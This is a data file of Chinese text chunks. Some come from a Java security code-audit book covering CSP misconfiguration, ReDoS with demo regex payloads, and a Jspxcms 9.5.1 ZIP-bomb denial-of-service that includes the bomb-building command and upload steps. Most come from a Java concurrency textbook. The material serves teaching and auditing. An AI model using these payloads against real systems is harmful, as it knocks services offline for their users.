    {"text": "为了尽快修复 Bug，不得已加入大量的内联脚本，因此没办法简单地指定 源来构造 CSP，这时会开启类似 script-src unsafe-inline 选项，给攻击者可乘之机。"},
    {"text": "6.7.3 小结 不仅仅是由于前端配置不当才会产生漏洞，后端配置不当而产生的漏洞也有很 多，如 crossdomain.xml 配置不当漏洞、Spring Boot Actuator 配置不当漏洞、Nginx 配置不当漏洞等。"},
    {"text": "6.8 拒绝服务攻击漏洞 6.8.1 拒绝服务攻击漏洞简介 拒绝服务（Denial of Service，DoS）攻击，也称作洪水攻击，这种攻击的目的在 于使目标电脑的网络或系统资源耗尽，服务暂时中断或停止，导致正常用户无法访 问。"},
    {"text": "Java 中有很多因为本身逻辑或者功能而导致的拒绝服务，如 ReDoS、JVM DoS、 Weblogic HTTP DoS、Apache Commons fileupload DoS 等，这些 DoS 形成的原因各不 相同，造成的结果大相径庭，本节将介绍 Java 中的拒绝服务攻击漏洞。 306 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 6.8.2 漏洞发现与修复案例 导致 Java 拒绝服务漏洞的原因有很多，本节选取两种不同类型的拒绝服务漏洞 进行讲解。 1．ReDoS 具体来说，ReDoS（Regular expression Denial of Service，正则表达式拒绝服务） 漏洞实际上是开发人员使用了正则表达式对用户输入进行有效性校验, 但是当编写 的正则表达式存在缺陷时, 攻击者可以构造特殊字符来大量消耗服务器的系统资源， 造成服务器的服务中断或堵塞。"},
    {"text": "正则表达式是一种比较常见的字符串匹配模式，它可以用来检查一个字符串是 否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。"},
    {"text": "我们主要来了解一下正 则表达式的引擎，正则引擎主要分为两大类：一种是 DFA（确定型有穷自动机），另 一种是 NFA（不确定型有穷自动机）。"},
    {"text": "目前使用 DFA 引擎的程序主要有 awk、egrep、flex、lex、MySQL、Procmail 等。 使用传统型 NFA 引擎的程序主要有 GNU Emacs、Java、ergp、less、more、.NET、 PCRE library、Perl、PHP、Python、Ruby、sed、Vi。"},
    {"text": "当引擎移动到 文本中的 t 时，它会在当前处理的匹配中添加 1 个可能的匹配位置，如图 6-45 所示。 图 6-45 添加 1 个可能的匹配位置 接下来扫描的每个字符，都会更新当前的可能匹配序列。"},
    {"text": "例如扫码到匹配文本 中的 J 时，有效的可能匹配变成了 2 个，Rose 被淘汰出局，如图 6-46 所示。 图 6-46 添加 2 个可能的匹配位置 当扫描到匹配文本的 e 时，Jack 也被淘汰出局，此时只剩下一个可能的匹配。"},
    {"text": "图 6-48 DEF 有 4 个数字位置 对于正则表达式而言，所有源字符串都有字符和位置，且正则表达式会从 0 号 位置开始逐个匹配，匹配成功则为“取得控制权”。"},
    {"text": "首先，由正则表达式字符 D 取得控制权，从位置 0 开始匹配，由 D 来匹配 D， 308 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 匹配成功后控制权交给字符 E；"},
    {"text": "首先，由正则表达式字符/D/ 取得控制权，从位置 0 开始匹配，由 /D/ 来匹配 D， 匹配成功后控制权交给字符/\\w+/； 然后，由于 D 已被/D/匹配，因此 /\\w+/ 从位置 1 开始尝试匹配，\\w+贪婪模式会记录一个备选状态，默认匹配最长字符，直接匹配 到 F，并且匹配成功，当前位置为 3，并且把控制权交给 /F/ ； 最后，由于 /F/ 匹配 失败，\\w+匹配会回溯一位，当前位置变成 2，并把控制权交给/F/，由/F/匹配字符 F 成功。"},
    {"text": ".*?首先取得控制权，假设该匹配为非贪婪模式，所以优先不匹配，将控制权 交给下一个匹配字符 b； b 在源字符串位置 1 匹配 a 失败，于是回溯，将控制权交回 给.*?； 这时.*?会匹配一个字符 a，并再次将控制权交给 b，这个过程被称为回溯。"},
    {"text": "● S 匹配*失败，第一次回溯，再由.+?匹配*。 ● 非贪婪模式，.+?停止向后匹配，再由 S 匹配 p。 ● S 匹配 p 失败，第二次回溯，再由.+?匹配 p。 ● 非贪婪模式，.+?停止向后匹配，再由 S 匹配 a。 ● S 匹配 a 失败，第三次回溯，再由.+?匹配 a。 ● 非贪婪模式，.+?停止向后匹配，再由 S 匹配 n。 ● S 匹配 n 失败，第四次回溯，再由.+?匹配 n。 ● 非贪婪模式，.+?停止向后匹配，再由 S 匹配 d。 ● S 匹配 d 失败，第五次回溯，再由.+?匹配 a。 ● 非贪婪模式，.+?停止向后匹配，再由 S 匹配 S。 ● S 匹配 S 成功，继续向后，直至 SELECT 匹配 SELECT 成功。"},
    {"text": "import java.util.regex.Matcher; import java.util.regex.Pattern; public class RdDosTest { public static void main(String[] args) { Pattern pattern = Pattern.compile(\"(0*)*A\"); String input = \"000\"; long startTime = System.currentTimeMillis(); Matcher matcher = pattern.matcher(input); System.out.println(\"是否匹配到：\" + matcher.find()); System.out.println(\"匹配字符长度：\" + input.length()); System.out.println(\" 运 行 时 间 :\" + (System.currentTimeMillis() - startTime) + \"毫秒\"); } } 在上面的示例代码中，我们规定 Pattern 为所定义的正则表达式，然后定义了 input 为用户输入的字符串，当字符串的长度为 3 时，其运行时间为 1 毫秒，如图 6-50 所示。"},
    {"text": "public class Test { public static void main(String args[]) { String Str = new String(\"www.google.com\"); System.out.print(\"匹配成功返回值 :\" ); System.out.println(Str.replaceAll(\"(.*)google(.*)\", \"runoob\" )); System.out.print(\"匹配失败返回值 :\" ); System.out.println(Str.replaceAll(\"(.*)taobao(.*)\", \"runoob\" )); 6.8 拒绝服务攻击漏洞 317 } } 返回如下。"},
    {"text": "public class RdDosTest { public static void main(String[] args) { String name = \".aaaaaaaaaaaaaaaaaaaaaaaaaaaaa.(a+)+\"; String re = name.substring(name.lastIndexOf(\".\")+1); System.out.println(re); String reg = name.replaceAll(\".\"+re,\".pdf\"); System.out.println(reg); long startTime = System.currentTimeMillis(); System.out.println(\"运行时间:\" + (System.currentTimeMillis() - startTime) + \"毫秒\"); } } 运行结果如图 6-54 所示。"},
    {"text": "由于正则引擎反复尝试才会导致攻击，因此我 们继续修改 name 参数，使匹配失败，将 name 参数中(a+)+改成(a+)+$，该正则要求 字符串必须以 a 结尾。"},
    {"text": "图 6-56 系统运行状态 6.8 拒绝服务攻击漏洞 319 ReDoS 的预防也很简单：开发者应预先格式化/验证正则表达式，或者由用户直 接搜索文本，而不是直接输入正则表达式；"},
    {"text": "Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在拒绝服务攻击漏洞，攻 击者可以利用该漏洞，构造具备“压缩包炸弹”功能的 ZIP 文件。"},
    {"text": "拒 绝 服 务 漏 洞 位 置 在 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/ web/back/WebFileUploadsController.java 的 unzip 方法，如图 6-57 所示。 图 6-57 unzip 方法 对 unzip 方法进行跟踪，发现它的具体实现在/jspxcms-9.5.1-release-src/src/main/ java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中，同时，对 ZIP 文 件进行解压调用了 AntZipUtil 类的 unzip 方法，如图 6-58 所示。"},
    {"text": "320 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 图 6-58 调用了 AntZipUtil 类的 unzip 方法 图 6-59 拒绝服务攻击漏洞点 6.8 拒绝服务攻击漏洞 321 漏洞的利用也很简单，我们通过执行以下 Python 脚本创建恶意的 ZIP 文件 zbsm.zip: python3 zipbomb --mode=quoted_overlap --num-files=250 --compressed-size= 21179 > zbsm.zip。"},
    {"text": "然后单击“上传 ZIP”按钮，上传 zbsm.zip，如图 6-60 所示。 图 6-60 上传文件 然后上传我们构造的恶意文件，单击“ZIP 解压”按钮，如图 6-61 所示。"},
    {"text": "Unknown 10.2 ThreadPoolExecutor详解 Executor框架最核心的类是ThreadPoolExecutor，它是线程池的实现类，主要由下列4个组件构成。 ·corePool：核心线程池的大小。 ·maximumPool：最大线程池的大小。 ·BlockingQueue：用来暂时保存任务的工作队列。 ·RejectedExecutionHandler：当ThreadPoolExecutor已经关闭或ThreadPoolExecutor已经饱和时（达到了最大线程池大小且工作队列已满），execute()方法将要调用的Handler。 ·通过Executor框架的工具类Executors，可以创建3种类型的ThreadPoolExecutor。 ·FixedThreadPool。 ·SingleThreadExecutor。 ·CachedThreadPool。 下面将分别介绍这3种ThreadPoolExecutor。 Unknown 4.2.1 构造线程 在运行线程之前首先要构造一个线程对象，线程对象在构造的时候需要提供线程所需要的属性，如线程所属的线程组、线程优先级、是否是Daemon线程等信息。代码清单4-6所示的代码摘自java.lang.Thread中对线程进行初始化的部分。 代码清单4-6 Thread.java private void init(ThreadGroup g, Runnable target, String name,long stackSize, AccessControlContext acc) { if (name == null) { throw new NullPointerException(\"name cannot be null\"); } // 当前线程就是该线程的父线程 Thread parent = currentThread(); this.group = g; // 将daemon、priority属性设置为父线程的对应属性 this.daemon = parent.isDaemon(); this.priority = parent.getPriority(); this.name = name.toCharArray(); this.target = target; setPriority(priority); // 将父线程的InheritableThreadLocal复制过来 if (parent.inheritableThreadLocals != null) this.inheritableThreadLocals=ThreadLocal.createInheritedMap(parent. inheritableThreadLocals); // 分配一个线程ID tid = nextThreadID(); } 在上述过程中，一个新构造的线程对象是由其parent线程来进行空间分配的，而child线程继承了parent是否为Daemon、优先级和加载资源的contextClassLoader以及可继承的ThreadLocal，同时还会分配一个唯一的ID来标识这个child线程。至此，一个能够运行的线程对象就初始化好了，在堆内存中等待着运行。 Unknown 4.2 启动和终止线程 在前面章节的示例中通过调用线程的start()方法进行启动，随着run()方法的执行完毕，线程也随之终止，大家对此一定不会陌生，下面将详细介绍线程的启动和终止。 Unknown 9.3 本章小结 在工作中我经常发现，很多人因为不了解线程池的实现原理，把线程池配置错误，从而导致了各种问题。本章介绍了为什么要使用线程池、如何使用线程池和线程池的使用原理，相信阅读完本章之后，读者能更准确、更有效地使用线程池。 Unknown 10.3.1 ScheduledThreadPoolExecutor的运行机制 ScheduledThreadPoolExecutor的执行示意图（本文基于JDK 6）如图10-8所示。 DelayQueue是一个无界队列，所以ThreadPoolExecutor的maximumPoolSize在Scheduled-ThreadPoolExecutor中没有什么意义（设置maximumPoolSize的大小没有什么效果）。 ScheduledThreadPoolExecutor的执行主要分为两大部分。 1）当调用ScheduledThreadPoolExecutor的scheduleAtFixedRate()方法或者scheduleWith-FixedDelay()方法时，会向ScheduledThreadPoolExecutor的DelayQueue添加一个实现了RunnableScheduledFutur接口的ScheduledFutureTask。 2）线程池中的线程从DelayQueue中获取ScheduledFutureTask，然后执行任务。 图10-8 ScheduledThreadPoolExecutor的任务传递示意图 ScheduledThreadPoolExecutor为了实现周期性的执行任务，对ThreadPoolExecutor做了如下的修改。 ·使用DelayQueue作为任务队列。 ·获取任务的方式不同（后文会说明）。 ·执行周期任务后，增加了额外的处理（后文会说明）。 Unknown 6.4.1 什么是Fork/Join框架 Fork/Join框架是Java 7提供的一个用于并行执行任务的框架，是一个把大任务分割成若干个小任务，最终汇总每个小任务结果后得到大任务结果的框架。 我们再通过Fork和Join这两个单词来理解一下Fork/Join框架。Fork就是把一个大任务切分为若干子任务并行的执行，Join就是合并这些子任务的执行结果，最后得到这个大任务的结果。比如计算1+2+…+10000，可以分割成10个子任务，每个子任务分别对1000个数进行求和，最终汇总这10个子任务的结果。Fork/Join的运行流程如图6-6所示。 图6-6 Fork Join的运行流程图"},
    {"text": "Unknown 6.1.5 ConcurrentHashMap的操作 本节介绍ConcurrentHashMap的3种操作——get操作、put操作和size操作。 1.get操作 Segment的get操作实现非常简单和高效。先经过一次再散列，然后使用这个散列值通过散列运算定位到Segment，再通过散列算法定位到元素，代码如下。 public V get(Object key) { int hash = hash(key.hashCode()); return segmentFor(hash).get(key, hash); } get操作的高效之处在于整个get过程不需要加锁，除非读到的值是空才会加锁重读。我们知道HashTable容器的get方法是需要加锁的，那么ConcurrentHashMap的get操作是如何做到不加锁的呢？原因是它的get方法里将要使用的共享变量都定义成volatile类型，如用于统计当前Segement大小的count字段和用于存储值的HashEntry的value。定义成volatile的变量，能够在线程之间保持可见性，能够被多线程同时读，并且保证不会读到过期的值，但是只能被单线程写（有一种情况可以被多线程写，就是写入的值不依赖于原值），在get操作里只需要读不需要写共享变量count和value，所以可以不用加锁。之所以不会读到过期的值，是因为根据Java内存模型的happen before原则，对volatile字段的写入操作先于读操作，即使两个线程同时修改和获取volatile变量，get操作也能拿到最新的值，这是用volatile替换锁的经典应用场景。 transient volatile int count; volatile V value; 在定位元素的代码里我们可以发现，定位HashEntry和定位Segment的散列算法虽然一样，都与数组的长度减去1再相“与”，但是相“与”的值不一样，定位Segment使用的是元素的hashcode通过再散列后得到的值的高位，而定位HashEntry直接使用的是再散列后的值。其目的是避免两次散列后的值一样，虽然元素在Segment里散列开了，但是却没有在HashEntry里散列开。 hash >>> segmentShift) & segmentMask // 定位Segment所使用的hash算法 int index = hash & (tab.length - 1); // 定位HashEntry所使用的hash算法 2.put操作 由于put方法里需要对共享变量进行写入操作，所以为了线程安全，在操作共享变量时必须加锁。put方法首先定位到Segment，然后在Segment里进行插入操作。插入操作需要经历两个步骤，第一步判断是否需要对Segment里的HashEntry数组进行扩容，第二步定位添加元素的位置，然后将其放在HashEntry数组里。 （1）是否需要扩容 在插入元素前会先判断Segment里的HashEntry数组是否超过容量（threshold），如果超过阈值，则对数组进行扩容。值得一提的是，Segment的扩容判断比HashMap更恰当，因为HashMap是在插入元素后判断元素是否已经到达容量的，如果到达了就进行扩容，但是很有可能扩容之后没有新元素插入，这时HashMap就进行了一次无效的扩容。 （2）如何扩容 在扩容的时候，首先会创建一个容量是原来容量两倍的数组，然后将原数组里的元素进行再散列后插入到新的数组里。为了高效，ConcurrentHashMap不会对整个容器进行扩容，而只对某个segment进行扩容。 3.size操作 如果要统计整个ConcurrentHashMap里元素的大小，就必须统计所有Segment里元素的大小后求和。Segment里的全局变量count是一个volatile变量，那么在多线程场景下，是不是直接把所有Segment的count相加就可以得到整个ConcurrentHashMap大小了呢？不是的，虽然相加时可以获取每个Segment的count的最新值，但是可能累加前使用的count发生了变化，那么统计结果就不准了。所以，最安全的做法是在统计size的时候把所有Segment的put、remove和clean方法全部锁住，但是这种做法显然非常低效。 因为在累加count操作过程中，之前累加过的count发生变化的几率非常小，所以ConcurrentHashMap的做法是先尝试2次通过不锁住Segment的方式来统计各个Segment大小，如果统计的过程中，容器的count发生了变化，则再采用加锁的方式来统计所有Segment的大小。 那么ConcurrentHashMap是如何判断在统计的时候容器是否发生了变化呢？使用modCount变量，在put、remove和clean方法里操作元素前都会将变量modCount进行加1，那么在统计size前后比较modCount是否发生变化，从而得知容器的大小是否发生变化。 Unknown 6.1.2 ConcurrentHashMap的结构 通过ConcurrentHashMap的类图来分析ConcurrentHashMap的结构，如图6-1所示。 ConcurrentHashMap是由Segment数组结构和HashEntry数组结构组成。Segment是一种可重入锁（ReentrantLock），在ConcurrentHashMap里扮演锁的角色；HashEntry则用于存储键值对数据。一个ConcurrentHashMap里包含一个Segment数组。Segment的结构和HashMap类似，是一种数组和链表结构。一个Segment里包含一个HashEntry数组，每个HashEntry是一个链表结构的元素，每个Segment守护着一个HashEntry数组里的元素，当对HashEntry数组的数据进行修改时，必须首先获得与它对应的Segment锁，如图6-2所示。 图6-1 ConcurrentHashMap的类图 图6-2 ConcurrentHashMap的结构图"},
    {"text": "Unknown 6.1.4 定位Segment 既然ConcurrentHashMap使用分段锁Segment来保护不同段的数据，那么在插入和获取元素的时候，必须先通过散列算法定位到Segment。可以看到ConcurrentHashMap会首先使用Wang/Jenkins hash的变种算法对元素的hashCode进行一次再散列。 private static int hash(int h) { h += (h << 15) ^ 0xffffcd7d; h ^= (h >>> 10); h += (h << 3); h ^= (h >>> 6); h += (h << 2) + (h << 14); return h ^ (h >>> 16); } 之所以进行再散列，目的是减少散列冲突，使元素能够均匀地分布在不同的Segment上，从而提高容器的存取效率。假如散列的质量差到极点，那么所有的元素都在一个Segment中，不仅存取元素缓慢，分段锁也会失去意义。笔者做了一个测试，不通过再散列而直接执行散列计算。 System.out.println(Integer.parseInt(\"0001111\", 2) & 15); System.out.println(Integer.parseInt(\"0011111\", 2) & 15); System.out.println(Integer.parseInt(\"0111111\", 2) & 15); System.out.println(Integer.parseInt(\"1111111\", 2) & 15); 计算后输出的散列值全是15，通过这个例子可以发现，如果不进行再散列，散列冲突会非常严重，因为只要低位一样，无论高位是什么数，其散列值总是一样。我们再把上面的二进制数据进行再散列后结果如下（为了方便阅读，不足32位的高位补了0，每隔4位用竖线分割下）。 0100｜0111｜0110｜0111｜1101｜1010｜0100｜1110 1111｜0111｜0100｜0011｜0000｜0001｜1011｜1000 0111｜0111｜0110｜1001｜0100｜0110｜0011｜1110 1000｜0011｜0000｜0000｜1100｜1000｜0001｜1010 可以发现，每一位的数据都散列开了，通过这种再散列能让数字的每一位都参加到散列运算当中，从而减少散列冲突。ConcurrentHashMap通过以下散列算法定位segment。 final Segment<K,V> segmentFor(int hash) { return segments[(hash >>> segmentShift) & segmentMask]; } 默认情况下segmentShift为28，segmentMask为15，再散列后的数最大是32位二进制数据，向右无符号移动28位，意思是让高4位参与到散列运算中，（hash>>>segmentShift）&segmentMask的运算结果分别是4、15、7和8，可以看到散列值没有发生冲突。 Unknown 4.3.3 等待/通知的经典范式 从4.3.2节中的WaitNotify示例中可以提炼出等待/通知的经典范式，该范式分为两部分，分别针对等待方（消费者）和通知方（生产者）。 等待方遵循如下原则。 1）获取对象的锁。 2）如果条件不满足，那么调用对象的wait()方法，被通知后仍要检查条件。 3）条件满足则执行对应的逻辑。 对应的伪代码如下。 synchronized(对象) { while(条件不满足) { 对象.wait(); } 对应的处理逻辑 } 通知方遵循如下原则。 1）获得对象的锁。 2）改变条件。 3）通知所有等待在对象上的线程。 对应的伪代码如下。 synchronized(对象) { 改变条件 对象.notifyAll(); } Unknown 5.7 本章小结 本章介绍了Java并发包中与锁相关的API和组件，通过示例讲述了这些API和组件的使用方式以及需要注意的地方，并在此基础上详细地剖析了队列同步器、重入锁、读写锁以及Condition等API和组件的实现细节，只有理解这些API和组件的实现细节才能够更加准确地运用它们。 Unknown 11.1.3 线程池与生产消费者模式 Java中的线程池类其实就是一种生产者和消费者模式的实现方式，但是我觉得其实现方式更加高明。生产者把任务丢给线程池，线程池创建线程并处理任务，如果将要运行的任务数大于线程池的基本线程数就把任务扔到阻塞队列里，这种做法比只使用一个阻塞队列来实现生产者和消费者模式显然要高明很多，因为消费者能够处理直接就处理掉了，这样速度更快，而生产者先存，消费者再取这种方式显然慢一些。 我们的系统也可以使用线程池来实现多生产者和消费者模式。例如，创建N个不同规模的Java线程池来处理不同性质的任务，比如线程池1将数据读到内存之后，交给线程池2里的线程继续处理压缩数据。线程池1主要处理IO密集型任务，线程池2主要处理CPU密集型任务。 本节讲解了生产者和消费者模式，并给出了实例。读者可以在平时的工作中思考一下哪些场景可以使用生产者消费者模式，我相信这种场景应该非常多，特别是需要处理任务时间比较长的场景，比如上传附件并处理，用户把文件上传到系统后，系统把文件丢到队列里，然后立刻返回告诉用户上传成功，最后消费者再去队列里取出文件处理。再如，调用一个远程接口查询数据，如果远程服务接口查询时需要几十秒的时间，那么它可以提供一个申请查询的接口，这个接口把要申请查询任务放数据库中，然后该接口立刻返回。然后服务器端用线程轮询并获取申请任务进行处理，处理完之后发消息给调用方，让调用方再来调用另外一个接口取数据。"},
    {"text": "Unknown 4.1 线程简介 4.1.1 什么是线程 现代操作系统在运行一个程序时，会为其创建一个进程。例如，启动一个Java程序，操作系统就会创建一个Java进程。现代操作系统调度的最小单元是线程，也叫轻量级进程（Light Weight Process），在一个进程里可以创建多个线程，这些线程都拥有各自的计数器、堆栈和局部变量等属性，并且能够访问共享的内存变量。处理器在这些线程上高速切换，让使用者感觉到这些线程在同时执行。 一个Java程序从main()方法开始执行，然后按照既定的代码逻辑执行，看似没有其他线程参与，但实际上Java程序天生就是多线程程序，因为执行main()方法的是一个名称为main的线程。下面使用JMX来查看一个普通的Java程序包含哪些线程，如代码清单4-1所示。 代码清单4-1 MultiThread.java public class MultiThread{ public static void main(String[] args) { // 获取Java线程管理MXBean ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean(); // 不需要获取同步的monitor和synchronizer信息，仅获取线程和线程堆栈信息 ThreadInfo[] threadInfos = threadMXBean.dumpAllThreads(false, false); // 遍历线程信息，仅打印线程ID和线程名称信息 for (ThreadInfo threadInfo : threadInfos) { System.out.println(\"[\" + threadInfo.getThreadId() + \"] \" + threadInfo. getThreadName()); } } } 输出如下所示（输出内容可能不同）。 [4] Signal Dispatcher // 分发处理发送给JVM信号的线程 [3] Finalizer // 调用对象finalize方法的线程 [2] Reference Handler // 清除Reference的线程 [1] main // main线程，用户程序入口 可以看到，一个Java程序的运行不仅仅是main()方法的运行，而是main线程和多个其他线程的同时运行。 Unknown 3.8 双重检查锁定与延迟初始化 在Java多线程程序中，有时候需要采用延迟初始化来降低初始化类和创建对象的开销。双重检查锁定是常见的延迟初始化技术，但它是一个错误的用法。本文将分析双重检查锁定的错误根源，以及两种线程安全的延迟初始化方案。 Unknown 6.4 Fork/Join框架 本节将会介绍Fork/Join框架的基本原理、算法、设计方式、应用与实现等。 Unknown 4.3.4 管道输入/输出流 管道输入/输出流和普通的文件输入/输出流或者网络输入/输出流不同之处在于，它主要用于线程之间的数据传输，而传输的媒介为内存。 管道输入/输出流主要包括了如下4种具体实现：PipedOutputStream、PipedInputStream、PipedReader和PipedWriter，前两种面向字节，而后两种面向字符。 在代码清单4-12所示的例子中，创建了printThread，它用来接受main线程的输入，任何main线程的输入均通过PipedWriter写入，而printThread在另一端通过PipedReader将内容读出并打印。 代码清单4-12 Piped.java public class Piped { public static void main(String[] args) throws Exception { PipedWriter out = new PipedWriter(); PipedReader in = new PipedReader(); // 将输出流和输入流进行连接，否则在使用时会抛出IOException out.connect(in); Thread printThread = new Thread(new Print(in), \"PrintThread\"); printThread.start(); int receive = 0; try { while ((receive = System.in.read()) != -1) { out.write(receive); } } finally { out.close(); } } static class Print implements Runnable { private PipedReader in; public Print(PipedReader in) { this.in = in; } public void run() { int receive = 0; try { while ((receive = in.read()) != -1) { System.out.print((char) receive); } } catch (IOException ex) { } } } } 运行该示例，输入一组字符串，可以看到被printThread进行了原样输出。 Repeat my words. Repeat my words. 对于Piped类型的流，必须先要进行绑定，也就是调用connect()方法，如果没有将输入/输出流绑定起来，对于该流的访问将会抛出异常。"},
    {"text": "Unknown 3.1.4 并发编程模型的分类 现代的处理器使用写缓冲区临时保存向内存写入的数据。写缓冲区可以保证指令流水线持续运行，它可以避免由于处理器停顿下来等待向内存写入数据而产生的延迟。同时，通过以批处理的方式刷新写缓冲区，以及合并写缓冲区中对同一内存地址的多次写，减少对内存总线的占用。虽然写缓冲区有这么多好处，但每个处理器上的写缓冲区，仅仅对它所在的处理器可见。这个特性会对内存操作的执行顺序产生重要的影响：处理器对内存的读/写操作的执行顺序，不一定与内存实际发生的读/写操作顺序一致！为了具体说明，请看下面的表3-1。 表3-1 处理器操作内存的执行结果 假设处理器A和处理器B按程序的顺序并行执行内存访问，最终可能得到x=y=0的结果。具体的原因如图3-4所示。 图3-4 处理器和内存的交互 这里处理器A和处理器B可以同时把共享变量写入自己的写缓冲区（A1，B1），然后从内存中读取另一个共享变量（A2，B2），最后才把自己写缓存区中保存的脏数据刷新到内存中（A3，B3）。当以这种时序执行时，程序就可以得到x=y=0的结果。 从内存操作实际发生的顺序来看，直到处理器A执行A3来刷新自己的写缓存区，写操作A1才算真正执行了。虽然处理器A执行内存操作的顺序为：A1→A2，但内存操作实际发生的顺序却是A2→A1。此时，处理器A的内存操作顺序被重排序了（处理器B的情况和处理器A一样，这里就不赘述了）。 这里的关键是，由于写缓冲区仅对自己的处理器可见，它会导致处理器执行内存操作的顺序可能会与内存实际的操作执行顺序不一致。由于现代的处理器都会使用写缓冲区，因此现代的处理器都会允许对写-读操作进行重排序。 表3-2是常见处理器允许的重排序类型的列表。 表3-2 处理器的重排序规则 注意，表3-2单元格中的“N”表示处理器不允许两个操作重排序，“Y”表示允许重排序。 从表3-2我们可以看出：常见的处理器都允许Store-Load重排序；常见的处理器都不允许对存在数据依赖的操作做重排序。sparc-TSO和X86拥有相对较强的处理器内存模型，它们仅允许对写-读操作做重排序（因为它们都使用了写缓冲区）。 注意 ·sparc-TSO是指以TSO（Total Store Order）内存模型运行时sparc处理器的特性。 ·表3-2中的X86包括X64及AMD64。 ·由于ARM处理器的内存模型与PowerPC处理器的内存模型非常类似，本文将忽略它。 ·数据依赖性后文会专门说明。 为了保证内存可见性，Java编译器在生成指令序列的适当位置会插入内存屏障指令来禁止特定类型的处理器重排序。JMM把内存屏障指令分为4类，如表3-3所示。 表3-3 内存屏障类型表 StoreLoad Barriers是一个“全能型”的屏障，它同时具有其他3个屏障的效果。现代的多处理器大多支持该屏障（其他类型的屏障不一定被所有处理器支持）。执行该屏障开销会很昂贵，因为当前处理器通常要把写缓冲区中的数据全部刷新到内存中（Buffer Fully Flush）。 Unknown 3.5.2 锁的释放和获取的内存语义 当线程释放锁时，JMM会把该线程对应的本地内存中的共享变量刷新到主内存中。以上面的MonitorExample程序为例，A线程释放锁后，共享数据的状态示意图如图3-25所示。 图3-25 共享数据的状态示意图 当线程获取锁时，JMM会把该线程对应的本地内存置为无效。从而使得被监视器保护的临界区代码必须从主内存中读取共享变量。图3-26是锁获取的状态示意图。 图3-26 锁获取的状态示意图 对比锁释放-获取的内存语义与volatile写-读的内存语义可以看出：锁释放与volatile写有相同的内存语义；锁获取与volatile读有相同的内存语义。 下面对锁释放和锁获取的内存语义做个总结。 ·线程A释放一个锁，实质上是线程A向接下来将要获取这个锁的某个线程发出了（线程A对共享变量所做修改的）消息。 ·线程B获取一个锁，实质上是线程B接收了之前某个线程发出的（在释放这个锁之前对共享变量所做修改的）消息。 ·线程A释放锁，随后线程B获取这个锁，这个过程实质上是线程A通过主内存向线程B发送消息。"},
    {"text": "Unknown 2.3 原子操作的实现原理 原子（atomic）本意是“不能被进一步分割的最小粒子”，而原子操作（atomic operation）意为“不可被中断的一个或一系列操作”。"},
    {"text": "处理器保证从系统内存中读取或者写入一个字节是原子的，意思是当一个处理器读取一个字节时，其他处理器不能访问这个字节的内存地址。 Pentium 6和最新的处理器能自动保证单处理器对同一个缓存行里进行16/32/64位的操作是原子的，但是复杂的内存操作处理器是不能自动保证其原子性的，比如跨总线宽度、跨多个缓存行和跨页表的访问。 但是，处理器提供总线锁定和缓存锁定两个机制来保证复杂内存操作的原子性。 （1）使用总线锁保证原子性 第一个机制是通过总线锁保证原子性 。"},
    {"text": "如果多个处理器同时对共享变量进行读改写操作（i++就是经典的读改写操作），那么共享变量就会被多个处理器同时进行操作，这样读改写操作就不是原子的，操作完之后共享变量的值会和期望的不一致。"},
    {"text": "处理器使用总线锁就是来解决这个问题的。 所谓总线锁就是使用处理器提供的一个LOCK＃信号，当一个处理器在总线上输出此信号时，其他处理器的请求将被阻塞住，那么该处理器可以独占共享内存。"},
    {"text": "在同一时刻，我们只需保证对某个内存地址的操作是原子性即可，但总线锁定把CPU和内存之间的通信锁住了，这使得锁定期间，其他处理器不能操作其他内存地址的数据，所以总线锁定的开销比较大，目前处理器在某些场合下使用缓存锁定代替总线锁定来进行优化。 频繁使用的内存会缓存在处理器的L1、L2和L3高速缓存里，那么原子操作就可以直接在处理器内部缓存中进行，并不需要声明总线锁，在Pentium 6和目前的处理器中可以使用“缓存锁定”的方式来实现复杂的原子性。 所谓“缓存锁定”是指内存区域如果被缓存在处理器的缓存行中，并且在Lock操作期间被锁定，那么当它执行锁操作回写到内存时，处理器不在总线上声言LOCK＃信号，而是修改内部的内存地址，并允许它的缓存一致性机制来保证操作的原子性，因为缓存一致性机制会阻止同时修改由两个以上处理器缓存的内存区域数据，当其他处理器回写已被锁定的缓存行的数据时，会使缓存行无效，在如图2-3所示的例子中，当CPU1修改缓存行中的i时使用了缓存锁定，那么CPU2就不能同时缓存i的缓存行。"},
    {"text": "交换指令XADD、CMPXCHG，以及其他一些操作数和逻辑指令（如ADD、OR）等，被这些指令操作的内存区域就会加锁，导致其他处理器不能同时访问它。"},
    {"text": "3.Java如何实现原子操作 在Java中可以通过锁和循环CAS的方式来实现原子操作。 （1）使用循环CAS实现原子操作 JVM中的CAS操作正是利用了处理器提供的CMPXCHG指令实现的。"},
    {"text": "自旋CAS实现的基本思路就是循环进行CAS操作直到成功为止，以下代码实现了一个基于CAS线程安全的计数器方法safeCount和一个非线程安全的计数器count。"},
    {"text": "private AtomicInteger atomicI = new AtomicInteger(0); private int i = 0; public static void main(String[] args) { final Counter cas = new Counter(); List<Thread> ts = new ArrayList<Thread>(600); long start = System.currentTimeMillis(); for (int j = 0; j < 100; j++) { Thread t = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 10000; i++) { cas.count(); cas.safeCount(); } } }); ts.add(t); } for (Thread t : ts) { t.start(); } // 等待所有线程执行完成 for (Thread t : ts) { try { t.join(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println(cas.i); System.out.println(cas.atomicI.get()); System.out.println(System.currentTimeMillis() - start); } /** * 使用CAS实现线程安全计数器 */ private void safeCount() { for (;;) { int i = atomicI.get(); boolean suc = atomicI.compareAndSet(i, ++i); if (suc) { break; } } } /** * 非线程安全计数器 */ private void count() { i++; } } 从Java 1.5开始，JDK的并发包里提供了一些类来支持原子操作，如AtomicBoolean（用原子方式更新的boolean值）、AtomicInteger（用原子方式更新的int值）和AtomicLong（用原子方式更新的long值）。"},
    {"text": "（2）CAS实现原子操作的三大问题 在Java并发包中有一些并发框架也使用了自旋CAS的方式来实现原子操作，比如LinkedTransferQueue类的Xfer方法。"},
